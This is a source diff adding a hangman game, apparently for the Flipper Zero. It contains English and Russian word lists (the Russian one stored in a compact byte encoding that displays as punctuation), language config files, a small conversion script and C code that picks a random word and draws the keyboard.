+RHYTHM
+RICE
+RIDDLE
+RIFLE
+RING
+RINGS
+RIVER
+ROAD
+ROBIN
+ROCK
+ROLL
+ROOF
+ROOM
+ROOT
+ROSE
+ROUTE
+RULE
+SACK
+SAIL
+SALT
+SAND
+SCALE
+SCARECROW
+SCARF
+SCENE
+SCENT
+SCHOOL
+SCIENCE
+SCISSORS
+SCREW
+SEASHORE
+SEAT
+SECRETARY
+SEED
+SELECTION
+SELF
+SENSE
+SERVANT
+SHADE
+SHAKE
+SHAME
+SHAPE
+SHEEP
+SHEET
+SHELF
+SHIP
+SHIRT
+SHOCK
+SHOE
+SHOES
+SHOP
+SHOW
+SIDE
+SIDEWALK
+SIGN
+SILK
+SILVER
+SINK
+SISTER
+SISTERS
+SIZE
+SKATE
+SKIN
+SKIRT
+SLAVE
+SLEEP
+SLEET
+SLIP
+SLOPE
+SMASH
+SMELL
+SMILE
+SMOKE
+SNAIL
+SNAILS
+SNAKE
+SNAKES
+SNEEZE
+SNOW
+SOAP
+SOCIETY
+SOCK
+SODA
+SOFA
+SONG
+SONGS
+SORT
+SOUND
+SOUP
+SPACE
+SPADE
+SPARK
+SPIDERS
+SPONGE
+SPOON
+SPOT
+SPRING
+SQUARE
+SQUIRREL
+STAGE
+STAMP
+STAR
+START
+STATEMENT
+STATION
+STEAM
+STEEL
+STEM
+STEP
+STEW
+STICK
+STICKS
+STITCH
+STOCKING
+STOMACH
+STONE
+STOP
+STORE
+STORY
+STOVE
+STRANGER
+STRAW
+STREAM
+STREET
+STRETCH
+STRING
+STRUCTURE
+SUBSTANCE
+SUGAR
+SUGGESTION
+SUIT
+SUMMER
+SUPPORT
+SURPRISE
+SWEATER
+SWIM
+SWING
+SYSTEM
+TABLE
+TAIL
+TALK
+TANK
+TASTE
+TEACHING
+TEAM
+TEETH
+TEMPER
+TENDENCY
+TENT
+TERRITORY
+TEST
+TEXTURE
+THEORY
+THING
+THINGS
+THOUGHT
+THREAD
+THRILL
+THROAT
+THRONE
+THUMB
+THUNDER
+TICKET
+TIGER
+TIME
+TITLE
+TOAD
+TOES
+TOMATOES
+TONGUE
+TOOTH
+TOOTHBRUSH
+TOOTHPASTE
+TOUCH
+TOWN
+TOYS
+TRADE
+TRAIL
+TRAIN
+TRAINS
+TRAMP
+TRANSPORT
+TRAY
+TREATMENT
+TREE
+TREES
+TRICK
+TRIP
+TROUBLE
+TROUSERS
+TRUCK
+TRUCKS
+TURKEY
+TURN
+TWIG
+TWIST
+UMBRELLA
+UNCLE
+UNDERWEAR
+UNIT
+VACATION
+VALUE
+VASE
+VEGETABLE
+VEIL
+VEIN
+VERSE
+VESSEL
+VEST
+VIEW
+VISITOR
+VOICE
+VOLCANO
+VOLLEYBALL
+VOYAGE
+WALK
+WALL
+WASH
+WASTE
+WATCH
+WATER
+WAVE
+WAVES
+WEALTH
+WEATHER
+WEEK
+WEIGHT
+WHEEL
+WHIP
+WHISTLE
+WILDERNESS
+WIND
+WINDOW
+WINE
+WING
+WINTER
+WIRE
+WISH
+WOMAN
+WOMEN
+WOOD
+WOOL
+WORD
+WORK
+WORM
+WOUND
+WREN
+WRENCH
+WRIST
+WRITER
+WRITING
+YARD
+YARN
+YEAR
+YOKE
+ZEBRA
+ZEPHYR
+ZINC
+ZIPPER
+ACCEPT
+ADMIRE
+ADMIT
+ADVISE
+AFFORD
+AGREE
+ALERT
+ALLOW
+AMUSE
+ANALYSE
+ANNOUNCE
+ANNOY
+ANSWER
+APOLOGISE
+APPEAR
+APPLAUD
+APPRECIATE
+APPROVE
+ARGUE
+ARRANGE
+ARREST
+ARRIVE
+ATTACH
+ATTACK
+ATTEMPT
+ATTEND
+ATTRACT
+AVOID
+BACK
+BAKE
+BALANCE
+BANG
+BARE
+BATHE
+BATTLE
+BEAM
+BEHAVE
+BELONG
+BLEACH
+BLESS
+BLIND
+BLINK
+BLOT
+BLUSH
+BOAST
+BOIL
+BOLT
+BOMB
+BOOK
+BORE
+BORROW
+BOUNCE
+BRAKE
+BRANCH
+BREATHE
+BRUISE
+BRUSH
+BUBBLE
+BUMP
+BURN
+BURY
+BUZZ
+CALCULATE
+CALL
+CAMP
+CARE
+CARRY
+CARVE
+CAUSE
+CHALLENGE
+CHANGE
+CHARGE
+CHASE
+CHEAT
+CHECK
+CHEER
+CHEW
+CHOKE
+CHOP
+CLAIM
+CLAP
+CLEAN
+CLEAR
+CLIP
+CLOSE
+COACH
+COIL
+COLLECT
+COLOUR
+COMB
+COMMAND
+COMMUNICATE
+COMPARE
+COMPETE
+COMPLAIN
+COMPLETE
+CONCENTRATE
+CONCERN
+CONFESS
+CONFUSE
+CONNECT
+CONSIDER
+CONSIST
+CONTAIN
+CONTINUE
+COPY
+CORRECT
+COUGH
+COUNT
+COVER
+CRACK
+CRASH
+CRAWL
+CROSS
+CRUSH
+CURE
+CURL
+CURVE
+CYCLE
+DAMAGE
+DANCE
+DARE
+DECAY
+DECEIVE
+DECIDE
+DECORATE
+DELAY
+DELIGHT
+DELIVER
+DEPEND
+DESCRIBE
+DESERT
+DESERVE
+DESTROY
+DETECT
+DEVELOP
+DISAGREE
+DISAPPEAR
+DISAPPROVE
+DISARM
+DISCOVER
+DISLIKE
+DIVIDE
+DOUBLE
+DOUBT
+DRAG
+DRAIN
+DREAM
+DRESS
+DRIP
+DROP
+DROWN
+DRUM
+DUST
+EARN
+EDUCATE
+EMBARRASS
+EMPLOY
+EMPTY
+ENCOURAGE
+ENJOY
+ENTER
+ENTERTAIN
+ESCAPE
+EXAMINE
+EXCITE
+EXCUSE
+EXERCISE
+EXIST
+EXPAND
+EXPECT
+EXPLAIN
+EXPLODE
+EXTEND
+FACE
+FADE
+FAIL
+FANCY
+FASTEN
+FEAR
+FENCE
+FETCH
+FILE
+FILL
+FILM
+FIRE
+FLAP
+FLASH
+FLOAT
+FLOOD
+FLOW
+FLOWER
+FOLD
+FOLLOW
+FOOL
+FORCE
+FORM
+FOUND
+FRAME
+FRIGHTEN
+GATHER
+GAZE
+GLOW
+GLUE
+GRAB
+GRATE
+GREASE
+GREET
+GRIN
+GRIP
+GROAN
+GUARANTEE
+GUARD
+GUESS
+GUIDE
+HAMMER
+HAND
+HANDLE
+HANG
+HAPPEN
+HARASS
+HARM
+HATE
+HAUNT
+HEAD
+HEAL
+HEAP
+HEAT
+HELP
+HOOK
+HOPE
+HOVER
+HUNT
+HURRY
+IDENTIFY
+IGNORE
+IMAGINE
+IMPRESS
+IMPROVE
+INCLUDE
+INCREASE
+INFLUENCE
+INFORM
+INJECT
+INJURE
+INSTRUCT
+INTEND
+INTEREST
+INTERFERE
+INTERRUPT
+INTRODUCE
+INVENT
+INVITE
+IRRITATE
+ITCH
+JAIL
+JOIN
+JOKE
+JUDGE
+JUGGLE
+JUMP
+KICK
+KILL
+KISS
+KNEEL
+KNIT
+KNOCK
+KNOT
+LABEL
+LAND
+LAST
+LAUGH
+LAUNCH
+LEARN
+LEVEL
+LICENSE
+LICK
+LIGHTEN
+LIKE
+LIST
+LISTEN
+LIVE
+LOAD
+LOCK
+LONG
+LOOK
+LOVE
+MANAGE
+MARCH
+MARK
+MARRY
+MATCH
+MATE
+MATTER
+MEASURE
+MEDDLE
+MELT
+MEMORISE
+MEND
+MILK
+MINE
+MISS
+MOAN
+MOOR
+MOURN
+MOVE
+MUDDLE
+MULTIPLY
+MURDER
+NAIL
+NAME
+NEED
+NEST
+NOTE
+NOTICE
+NUMBER
+OBEY
+OBJECT
+OBSERVE
+OBTAIN
+OCCUR
+OFFEND
+OFFER
+OPEN
+ORDER
+OVERFLOW
+PACK
+PADDLE
+PAINT
+PARK
+PART
+PASS
+PASTE
+PAUSE
+PECK
+PEDAL
+PEEL
+PEEP
+PERFORM
+PERMIT
+PHONE
+PICK
+PINCH
+PINE
+PLACE
+PLAN
+PLANT
+PLAY
+PLEASE
+PLUG
+POINT
+POKE
+POLISH
+POSSESS
+POST
+POUR
+PRACTISE
+PRAY
+PREACH
+PRECEDE
+PREFER
+PREPARE
+PRESENT
+PRESERVE
+PRESS
+PRETEND
+PREVENT
+PRICK
+PRINT
+PRODUCE
+PROGRAM
+PROMISE
+PROTECT
+PROVIDE
+PULL
+PUMP
+PUNCH
+PUNCTURE
+PUNISH
+PUSH
+QUESTION
+QUEUE
+RACE
+RADIATE
+RAIN
+RAISE
+REACH
+REALISE
+RECEIVE
+RECOGNISE
+RECORD
+REDUCE
+REFLECT
+REFUSE
+REGRET
+REIGN
+REJECT
+REJOICE
+RELAX
+RELEASE
+RELY
+REMAIN
+REMEMBER
+REMIND
+REMOVE
+REPAIR
+REPEAT
+REPLACE
+REPLY
+REPORT
+REPRODUCE
+REQUEST
+RESCUE
+RETIRE
+RETURN
+RHYME
+RINSE
+RISK
+ROCK
+ROLL
+RUIN
+RULE
+RUSH
+SACK
+SAIL
+SATISFY
+SAVE
+SCARE
+SCATTER
+SCOLD
+SCORCH
+SCRAPE
+SCRATCH
+SCREAM
+SCREW
+SCRIBBLE
+SCRUB
+SEAL
+SEARCH
+SEPARATE
+SERVE
+SETTLE
+SHADE
+SHARE
+SHAVE
+SHELTER
+SHIVER
+SHOCK
+SHOP
+SHRUG
+SIGH
+SIGN
+SIGNAL
+SKIP
+SLAP
+SLIP
+SLOW
+SMASH
+SMELL
+SMILE
+SMOKE
+SNATCH
+SNEEZE
+SNIFF
+SNORE
+SNOW
+SOAK
+SOOTHE
+SOUND
+SPARE
+SPARK
+SPARKLE
+SPELL
+SPILL
+SPOIL
+SPOT
+SPRAY
+SPROUT
+SQUASH
+SQUEAK
+SQUEAL
+SQUEEZE
+STAIN
+STAMP
+STARE
+START
+STAY
+STEER
+STEP
+STIR
+STITCH
+STOP
+STORE
+STRAP
+STRENGTHEN
+STRETCH
+STRIP
+STROKE
+STUFF
+SUBTRACT
+SUCCEED
+SUCK
+SUFFER
+SUGGEST
+SUIT
+SUPPLY
+SUPPORT
+SUPPOSE
+SURPRISE
+SURROUND
+SUSPECT
+SUSPEND
+SWITCH
+TALK
+TAME
+TASTE
+TEASE
+TELEPHONE
+TEMPT
+TERRIFY
+TEST
+THANK
+THAW
+TICK
+TICKLE
+TIME
+TIRE
+TOUCH
+TOUR
+TRACE
+TRADE
+TRAIN
+TRANSPORT
+TRAP
+TRAVEL
+TREAT
+TREMBLE
+TRICK
+TRIP
+TROT
+TROUBLE
+TRUST
+TUMBLE
+TURN
+TWIST
+TYPE
+UNDRESS
+UNFASTEN
+UNITE
+UNLOCK
+UNPACK
+UNTIDY
+VANISH
+VISIT
+WAIL
+WAIT
+WALK
+WANDER
+WANT
+WARM
+WARN
+WASH
+WASTE
+WATCH
+WATER
+WAVE
+WEIGH
+WELCOME
+WHINE
+WHIP
+WHIRL
+WHISPER
+WHISTLE
+WINK
+WIPE
+WISH
+WOBBLE
+WONDER
+WORK
+WORRY
+WRAP
+WRECK
+WRESTLE
+WRIGGLE
+YAWN
+YELL
+ZOOM

+ 4 - 0
non_catalog_apps/hangman_game/files/menu.txt

@@ -0,0 +1,4 @@
+English
+english.bolk
+Русский
+russian.bolk

+ 8 - 0
non_catalog_apps/hangman_game/files/russian.bolk

@@ -0,0 +1,8 @@
+russian.dict
+8
+3
+16
+410 411 412 413 414 415 416 417 418 419 41a 41b 41c 41d 41e 41f 420 421 422 423 424 425 426 427 428 429 42a 42b 42c 42d 42e 42f
+Окей
+Вы выиграли!
+Вы проиграли!

+ 1984 - 0
non_catalog_apps/hangman_game/files/russian.dict

@@ -0,0 +1,1984 @@
+# 
+"# "
+"
+"
+ !
+!" &/
+!# 
+ 
+". 
+ /
+&/
+" $
+""
+",
+"/
+" ""
+" #'
+"! !
+"!" 
+"
+"&/
+"
+!" " 
+ 
+,.""
+ "
+"
+"
+! 
+/
+ #
+#
+&"
+&/
+ 
+ /
+/
+
+" ,
+$"
+ 
+ !
+!
+ 
+
+"
+/
+
+" "
+"
+"
+"/
+
+!" $
+!"+
+ " 
+ #
+ #"
+ 
+ 
+ !"
+ !" "
+ $"
+ "
+ "# 
+ /
+ "
+ !
+ " /
+ " /
+ %
+ %"" 
+!!!""
+!! ""
+!$,"
+"
+"!"
+",
+"!
+""
+"!$ 
+"
+" #"
+""(
+""!""
+"" &
+#" /
+#&
+$(
+$ 
+%
+-  
+-  "
+
+ 
+
+" /
+
+!
+ 
+"
+
+
+
+!"
+
+#
+ ,
+"
+ "
+
+ 
+  !
+ 
+ " 
+  
+ !#
+ , 
+!"
+!/
+!!
+",
+" /
+/
+"
+&
+
+ 
+ !"
+ "
+ 
+!
+!
+!+ 
+"
+"
+
+
+"
+,/ 
+,
+ $/
+/
+!"
+ 
+"+ ,
+ !+
+&
+
+! 
+,
+"
+,&
+#)
+ 
+ ,
+"
+&
+/ +(
+ !"
+ "
+ (,
+  
+ "
+ "
+ $
+ 
+ %"
+ /
+ (,
+ (. 
+ #!'"
+ ."
+#, 
+#,
+# 
+# 
+#"  
+#"!+
+#%" 
++
+."
+.",
+
+
+!/
+##
+&
+
+."
+
+
+ 
+ "
+%" 
+!"
++
+
+'
+!
+,
+"/" 
+ 
+ .
+ 
+ "
+ !/
+ !"
+ ""
+!".,
+" 
+"'
+(
+)!"
+
+ "
+ 
+"
+ "#
+"
+" 
+#!
+ 
+ !
+
+ !"
+
+
+ !
+ 
+ 
+! !,
+!"
+!%
+
+ " ,
+!/
++
++
++ 
+ "
+,
+"
+
+"
+ /
+!" 
+ 
+ "/
+  
+ ,
+ 
+  
+ "# 
+ &
+
+ 
+ 
+ $/
+" /
+  
+ #!
+ 
+
+,"
+/
+!"
+ 
+
+ /
+#!
+# ,
+/&
+/
+  
+' 
+ 
+ !"
+ 
+ %
+!"/
+!# !"
+ 
+ 
+ "
+ "
+ "
+ "
+ &
+ $"
+ $ #"
+ 
+ 
+ #
+ #'
+ #
+# " 
+#!&
+",
+ &
+."
+
+#&/
+
+
+"
+"!
+,$
+
+#""
+ " 
+!"
+! "
+",
+$!
+!+
+
+,
+ 
+"
+
+
+/
+"
+
+ 
+"" 
+" 
+"
+!"/
+
+"
+ "
+ ,
+!
+!"
+!"
+!"' 
+!
+!!!
+!"&/
+
++'
+
+ 
+,
+
+#"
+
+ 
+ "
+ 
+!"/
+!#
+&"
+ 
+ 
+ 
+ 
+ ,
+ 
+ 
+ $
+ #
+# 
+#"
+# (
+#-,
+#-"
+$"
+,/
+.(!
+/"
+ ,
+&
+"
+%
+ 
+ 
+!
+
+
+
+#,
+ 
+!,
+,
+"
+ $
+
+ 
+# !"
+. 
+
+,
+" 
+" 
+
+ 
+ 
+
+ 
+ &
+
+
+"
+
+
+ 
+ /
+!"
+"+
+/&
+
+
+
+ ,
+/
+"
+ 
+$ 
+/
+'
+
+"
+
+ '
+ )
+ 
+
+/
+"
+ $
+
+ ,
+ 
+ "
+# #
+
+#""
+ " 
+ "
+#,!
+#)!"
+
+" ,
+!
+
+ 
+#" 
+!""
+!""#"
+!" #" 
+!" #"
+""
+" 
+" ,.
+" "
+" , 
+"#&/
+$ "
+$&/
+$/&/
+$ "
+$ &/
+&"
+*&/
+ 
+! 
+!#!!"
+! 
+!"
+"
+
+
+,
+"
+#
+ 
+ /
+
+ 
+,
+#
+
+# 
+ ,
+ 
+,
+
+ 
++(
+
+ 
+"
+"
+#+
+
+
+!#
+.(
+ 
+ 
+ 
+ (
+ "
+ !,
+ #
+ "
+ "# 
+ !
+ 
+ 
+ "'
+ "
+ "
+ ""
+ & 
+ , 
+ , 
+!!
+!""
+!" 
+!" ./
+"+
+"
+"!" $
+"
+#'#
+$ 
+'
+("
+."
+ "
+ "
+ ""
+"
+# #
+ 
+ !
+$ 
+ 
+
+!
+ !
+ '
+!,
+! 
+!",
+",
+"# 
+(
+)
+
+ "
+
+" 
+)
+"
+"
+
+
+(
+.'
+&/
+# 
+
+",
+!
+#%
++ 
++ ,
+
+!
+!
+#
+
+!
+/
+ 
+
+
+&/
+
+
+&
+
+/
+
+
+!
+
+%
+,
+,&
+,'#
+/!
+
+ 
+
+/
+"
+!! 
+""
+#"" 
+
+!
+!
+"
+"
+,." 
+ 
+ "
+ !!
+#" 
+! +
+!""#&/
+!" #" 
+!" #&/
+""
+" 
+" 
+" "
+"  
+"#/
+# 
+$""
+$"
+& 
+& "
+,
+",
++"
+,
+ ,
+ 
+ ,
+ 
+  
+ &
+ 
+ ,
+ 
+  " 
+  /
+  #&/
+ !"
+ +"
+ /
+!
+!"
+!!
+!"+,
+!",
+!/
+"
+""
+$
+'
+' 
+' 
+(
+-$$&"
+ 
+ !
+ !"
+ "
+ ! 
+ ,
+ ,
+ !",
+ !",/
+ !
+ !"
+ "
+ 
+ !!
+ !! 
+ +
+ .'
+#
+#(
+#'
+#
+#
+## #
+# /
+#
+#,"", 
+#
+# !
+# 
+#  "
+# , 
+ "
+ "
+ " /
+
+ ,
+,
+,/
+ "
+
+# ,
+
+!"
+($"
+!"'
+
+,
+
+
+""
+
+&
+
+
+
+""
+
+ !"
+!
+" 
+&/
+"/
+!"
+(
+!
+!"&
+"!&
+"'
+'&
+(
+,
+ 
+&/
+"
+
+!"
+
+#
+!&
+" "# 
+&
+&
+ $
+
+
+" 
+",
+",
+"
+!#"
+!!,
+" /
+"
+"
+&
+#&
+.,
+/#(
+
+!" 
+/
+"
+#"
+
+ 
+"
+ !
+#(
+
+/ 
+/ /
+"
+ 
+"
+
+
+"
+. 
+$!"
+" 
+! 
+#$"# 
+ &
+ &
+  
+ "
+  
+ 
+  
+ "+(
+ ( #"
+! 
+!&
+!
+!
+!!
+!" !/
+!("
+""
+" 
+" 
+" /
+$/
+(
+/
+,
+,
+,
+&
+"
+,
+/
+',
+,&
+ 
+ #
+ 
+ 
+!"!",
+!"
+!/&
+"
+"$ 
+" 
+'"
+ &/
+ 
+ 
+ !
+ $
+ 
+ 
+!" 
+"
+#"
+ 
+!!/
+!"
+(,
+",
+&/
+,
+ &/
+$&/
+
+,
+ "
+#
+,
+
+"
+"
+"
+" 
+"
+ ,
+ " 
+ 
+ ,
+ 
+ " 
+ /
+",
+" 
+"&
+"+
+"+
+(
+  
+#'
+#
+#!!
+#% 
+#(" 
++(
++(,
++(,/
+/",
+/"
+" 
+
+'
+ 
+
+ 
+
+
+ 
+ !"
+ '
+ 
+ 
+ "
+ &!!
+ +
+!
+!
+!"
+!" 
+"# !"
+".  "
+#(
+$"
+("+ ,
+
+
+
+ 
+"
+/
+#
+
+" ""
+" 
+!",
+ +
+$",
+$"/
+,
+
+'
+ &
+",
++
+#"
+!
+" #!
+',
+/ ,
+!
+/
+,/
+!
+",
+
+
+ 
+
+'
+/
+ 
+ #
+'
+ 
+!"
+#,
+)"
+)
+*"
+*"
+*
+*/
++!
+ 
+
+ 
+
+
+#'
++(
+ ,
+
+
+
+
+#&/
+#!"
+,
+
+ 
+"
+ " 
+ &/
+"
+,
+'
+&/
+"
+ #
+ #"
+ " 
+ "
+ 
+ " 
+ 
+ " 
+ 
+ 
+ " 
+ !" 
+ "
+ $ 
+!
+!" 
+!
+!
+! 
+!" 
+!,
+" !"
+" "
+",
+"'!"
+"'"
+" !,
+"'/
+"'!"
+"'"
+"'
+$& 
+$&"
+%"
+'
+'&
+' 
+(
+,
+
+
+"
+"
+" 
+/",
+,
+ 
+!
+" 
+& ,
+ #!
+ "
+ 
+  $
+ 
+ "
+ $
+ (."
+ ""
+ "
+ "
+ 
+ ,
+ 
+ %
+ " 
+ " 
+ $. /
+!!
+!! 
+!"
+""
+" "
+" 
+" #,
+#
+&"
+(""
+
+,
+" 
+
+
+,
+
+,"
+!"
+! 
+ "
+ '
+ "'
+ 
+ 
+ !&
+ !'
+ %
+ 
+ !'
+ !" 
+ #
+ ',
+ " 
+ !
+  
+ !
+ !
+ !"
+ $ "
+ '"
+!&
+! ,
+" 
+"&/
+" #(
+%"
+'",
+',
+',
+(%
+) 
+
+"
+
+
+"
+
+&"
+"
+ 
+ 
+!""
+!,
+"
+"
+/
+
+"
+"
+"
+"&/
+("
+!"
+!"
+!"!!
+"
+"
+& 
+/
+!,
+!#&+
+"
+"
+
+
+!"
+
+
+
+ '
+ #(
+ 
+ 
+
+
+
+
+)
+ 
+!'
+#(
+(
+*
+
+
+ 
+
+,
+
+"
+"
+&/
+-"
+
+&
+"&
+"
+/
+)
+"
+
+ 
+#
+ 
+ " "
+ #',
+!
+!",
+!#
+"
+"
+" ",
+%
+'
+'",
+-
+/!&
+ ",
+  )
+ 
+ 
+ "
+ !",
+ "
+ , 
+ /
+  "
+ !!
+ !!
+ !"
+ !"
+ !"#
+  
+ 
+ 
+ 
+ +'
+ 
+ .'
+ 
+ "
+ &
+ 
+  
+ !"
+ !",
+ &
+ '
+ '!
+ '
+ ."
+  
+ 
+ /
+ &/
+  
+ #
+ "
+ " 
+ )
+ #  
+ 
+ !"
+ !"#
+ !,
+ "
+ ",
+ "
+ "
+ ""
+ $!!/
+ $!! 
+ %
+ &# 
+ &"
+ &!!
+ &!! 
+ #
+ +
+ /
+ /!",
+#"
+#!"+/
+#"'
+#'
+(&
++!!
+,!
+. 
+/"&
+ "
+ 
+  
+ " 
+ &/
+ #!
+ 
+ 
+ 
+ ,
+ 
+ "'
+  "
+ !
+ !!
+ !!
+ !!"
+ !!
+ !!
+ !! '
+ !!#
+ !"
+ !%
+ !'!
+ !'"
+ !)
+ $
+ &
+ " 
+ &/
+ (
+ /
+  
+ , 
+ .&/
+ "
+ !
+ !! 
+ &
+ 
+ !
+ #,""
+ ,
+ .
+ 
+ 
+  
+ " 
+ /
+ ,$
+ ,
+ !
+ "
+ "
+  "# 
+ "" 
+ 
+  "
+  !!/
+  #&/
+ #"&/
+ !&
+ !#
+ !! 
+ !" 
+ !# !
+ "#(,
+ $ "
+ $ 
+ &"
+ &
+ ("
+ ("
+ ("
+ !#
+ " 
+ "#
+ "
+ "
+ 
+ 
+ 
+ ,
+ "
+ +!
+ 
+ (
+ !
+ !(,
+ !%
+ !"
+ "&/
+ /,
+ #&
+ #,
+ # 
+ #,
+ #&
+ #!"
+ #/
+ #,
+ # 
+ +
+ +!,
+ +& ,
+ +'
+ .
+ /
+!"
+!
+!&
+!
+!/
+!!$
+!
+!"
+!
+!$"
+!."
+! 
+!"
+!!
+!# 
+!" 
+!" 
+!&/
+! 
+!
+! 
+! '
+! $
+! ,
+! 
+! 
+!" 
+!,
+!
+! !"
+! "
+!"$ 
+!"'
+!,/
+!!"
+!" 
+!
+!
+!!"
+!
+! 
+!
+!!
+!"
+!/
+!
+!
+!
+!'!
+! "
+! " ,
+!#
+!,,
+!$ 
+! 
+!!&/
+!"/ ,
+! " 
+! 
+! !
+! &
+!  
+! 
+! 
+! 
+! "
+! ,
+!!!/
+! 
+!
+!
+!"
+!"
+! 
+! ,
+! 
+! "
+!!"
+!,/
+!
+!" ",
+!$ 
+!"
+! 
+!/
+! 
+! "
+!#," 
+!
+! ,
+!
+! '
+!"
+!%
+!+!
+!+'
+! 
+! /
+! ,
+!%
+!
+!!
+!,
+!!"
+!
+!
+!
+!'
+!/ 
+!"
+!"
+!)
+!)
+! 
+! 
+! '
+!!#
+!!#,
+!.
+!.
+!,/
+!
+! ,
+!! 
+! "!
+! 
+! " 
+! 
+! 
+! !"
+!!+
+!"
+!"
+!" 
+!" "
+!"&
+!" (
+!""!"
+!""#-"
+!"",/
+!",
+!"
+!"
+!",
+!" ,
+!" /,
+!"&
+!"/ 
+!" 
+!" 
+!" 
+!" &
+!" "/
+!" 
+!" !!
+!" $
+!" #
+!" #"# 
+!" #'
+!"#"
+!#"
+!#!/
+!#*"
+!# 
+!# ""
+!# %
+!#
+!# 
+!# 
+!#
+!# 
+!#  "
+!#$ 
+!#$$!
+!#)!",
+!$!
+!'!",
+!'"
+!'"+
+!*
+!*
+!+ "
+!+ 
+!."
+!.  
+"
+""
+"&
+"#
+"# "
+"
+"$#
+""
+""
+"!
+"/
+"&
+" 
+"'
+" 
+" 
+" "#
+" 
+" $
+" 
+" '!"
+"" 
+"!
+"
+"!"
+"!",
+"
+" 
+"
+" 
+" $
+"!
+"$
+",/(
+"
+" "# 
+"&/
+"!
+" 
+" 
+" /
+"&
+"
+" 
+" " 
+"  !
+"  " /
+"   
+"!,
+"" ,
+"$"
+"%
+"%#
+" $/
+" 
+" 
+" 
+""
+""#
+"(
+" 
+" )
+"!"
+" ,
+"
+")
+""
+"
+",
+",
+" 
+" !"
+" 
+" 
+" "
+" $/
+"!
+" /
+" &/
+" " /
+" ""
+" ,)
+" 
+" 
+" !" 
+" !/&/
+" ! " 
+" (/
+" &/
+" !!
+" %/
+" 
+"  
+" !
+" #,
+" )
+" #
+" #
+" "
+" /
+" "
+" #$
+" #!
+" 
+" !
+" !"
+" "# 
+" $
+" #
+" #
+" #
+" #",
+" .$,
+" /,
+"#"
+"#)
+"# 
+"# !"
+"# 
+"#  
+"#$
+"#(
+"#(,
+"+!/'
+".,
+".,
+". ,
+"/'
+#)
+#+"
+#',
+#
+# ,
+#
+#'
+#)
+# 
+#'
+#
+#'
+#!#!
+##!
+#
+#&
+#+
+#,""#
+#," #
+#
+# 
+# !""
+#
+# 
+# 
+# ,
+# 
+#!",
+#" 
+#'
+#'
+#')
+#'",
+#),
+#) 
+#/!",
+$ 
+$ "
+$
+$#,""
+$
+$/
+$ 
+$"/
+$"!"
+$ " 
+$ $ 
+$!
+$!,
+$!
+$ ,
+$ &/
+$  
+$
+$ "
+$  
+$
+$#,"# 
+$
+$
+$
+$!$/
+$," 
+$
+$(
+$
+$
+$ 
+$. 
+$/
+$, 
+$ ,
+$"
+$"
+$ ,
+$ "
+$ "#
+$ #
+$!$ 
+$ &#
+$#"
+$# 
+$#"
+$./
+%"
+%
+%
+%!
+% " 
+% !"
+%
+% 
+% # 
+%)
+%
+%
+%
+%/
+%
+%,
+% 
+% 
+% "
+% 
+% /)
+%#" 
+& 
+&"
+&"
+&
+&"
+&# 
+&" 
+&'
+& ,
+&
+& 
+& 
+& 
+& #,
+&!" 
+&""
+&$ 
+&"
+&+
+&+
+'
+' 
+'!
+'!"&
+'!"#(
+'
+'
+'.!",
+'
+'#%
+' ,
+' 
+' 
+' %
+' 
+' 
+' 
+' !
+' 
+' "
+' "
+'!
+'!"
+'" 
+'" ",
+'%
+''&
+''"
+'(#/
+'
+'
+'!",
+'!",
+'!
+'!""
+'"
+'"&
+'##
+'#)
+'#
+'#
+(
+(
+((
+(!",
+($
+(#,
+( 
+(  
+(!!
+(" 
+($ 
+(%"+
+((+
+(/
+(#%
+(,$
+("
+( !",
+(!" /
+(
+(,
+(
+( 
+($ 
+($ 
+("#
+( 
+(#
+(.
+(
+( %
+( %
+( "+
+(!!
+($ 
+("
+( 
+("
+("
+(
+( &
+("
+(""
+(" 
+("#"# 
+("# 
+("# 
+),
+)
+)
+)
+)'
+)
+)"
+)"
+)&+
+)#
+)#,&
+-#&/
+-"
+-.&/
+- 
+-" 
+-
+-
+-/
+- 
+-!" 
+-!# !/
+-!&/
+-! "
+-! !!
+-" 
+-" 
+-" 
+-"
+-!
+-,
+-
+- "
+-&/
+- /
+- 
+- $
+-/
+-
+-
+-""
+-&" 
+-!
+-%
+-! 
+-!" 
+-!&/
+-!"$"
+-!" 
+-"
+-" 
+-"
+-""
+-"/
+-".
+-$ 
+-$$"
+.
+.
+. 
+. 
+. 
+. !"
+. "
+.!"&/
+/
+/
+/
+/# 
+/ 
+/+
+/ ,
+/#"
+/
+/ ,
+/" ,
+/ +
+/  
+/ !",
+/ #!
+/!,
+/!
+/!"
+/!" 
+/%"
+/'
+/',
+/) &
+/)

+ 4 - 0
non_catalog_apps/hangman_game/files_src/convert.sh

@@ -0,0 +1,4 @@
+#!/bin/sh
+
+tr -d '\04\r\0' < russian.ucs2.dict > ../files/russian.dict
+

BIN
non_catalog_apps/hangman_game/files_src/russian.ucs2.dict


+ 14 - 0
non_catalog_apps/hangman_game/hangman.c

@@ -0,0 +1,14 @@
+#include "helpers/hangman.h"
+
+int32_t hangman_main(void* p) {
+    UNUSED(p);
+    __attribute__((__cleanup__(hangman_app_free))) HangmanApp* app = hangman_app_alloc();
+
+    if(!app->menu_show || hangman_menu_selection(app)) {
+        while(hangman_main_loop(app)) {
+            if(!hangman_wait_close_window(app)) break;
+        }
+    }
+
+    return 0;
+}

BIN
non_catalog_apps/hangman_game/hangman.png


+ 367 - 0
non_catalog_apps/hangman_game/helpers/hangman.c

@@ -0,0 +1,367 @@
+#include "hangman.h"
+#include "helpers/hangman_fonts.h"
+
+char* hangman_get_random_word(const char* dict_file) {
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+
+    Stream* stream = file_stream_alloc(storage);
+    FuriString* line = furi_string_alloc();
+
+    if(file_stream_open(stream, dict_file, FSAM_READ, FSOM_OPEN_EXISTING)) {
+        int32_t offset = furi_hal_random_get() % stream_size(stream);
+
+        if(offset > 0) {
+            bool seek_result = stream_seek(stream, offset, StreamOffsetFromStart) &&
+                               stream_read_line(stream, line);
+
+            if(!seek_result) {
+                stream_rewind(stream);
+            }
+        }
+        stream_read_line(stream, line);
+    } else {
+        furi_crash(NULL);
+    }
+
+    furi_string_trim(line, "\n");
+
+    char* word = strdup(furi_string_get_cstr(line));
+    furi_string_free(line);
+    file_stream_close(stream);
+    stream_free(stream);
+    furi_record_close(RECORD_STORAGE);
+
+    return word;
+}
+
+void hangman_draw_keyboard(Canvas* canvas, HangmanApp* app) {
+    canvas_set_color(canvas, ColorBlack);
+
+    canvas_set_custom_u8g2_font(canvas, u8g2_font_6x12_t_cyrillic);
+    uint8_t glyph_w = canvas_glyph_width(canvas, ' ');
+    uint8_t glyph_h = canvas_current_font_height(canvas);
+
+    for(uint8_t j = 0; j < app->lang->keyboard_rows; j++) {
+        uint8_t y = 29 + j * glyph_h * .94;
+
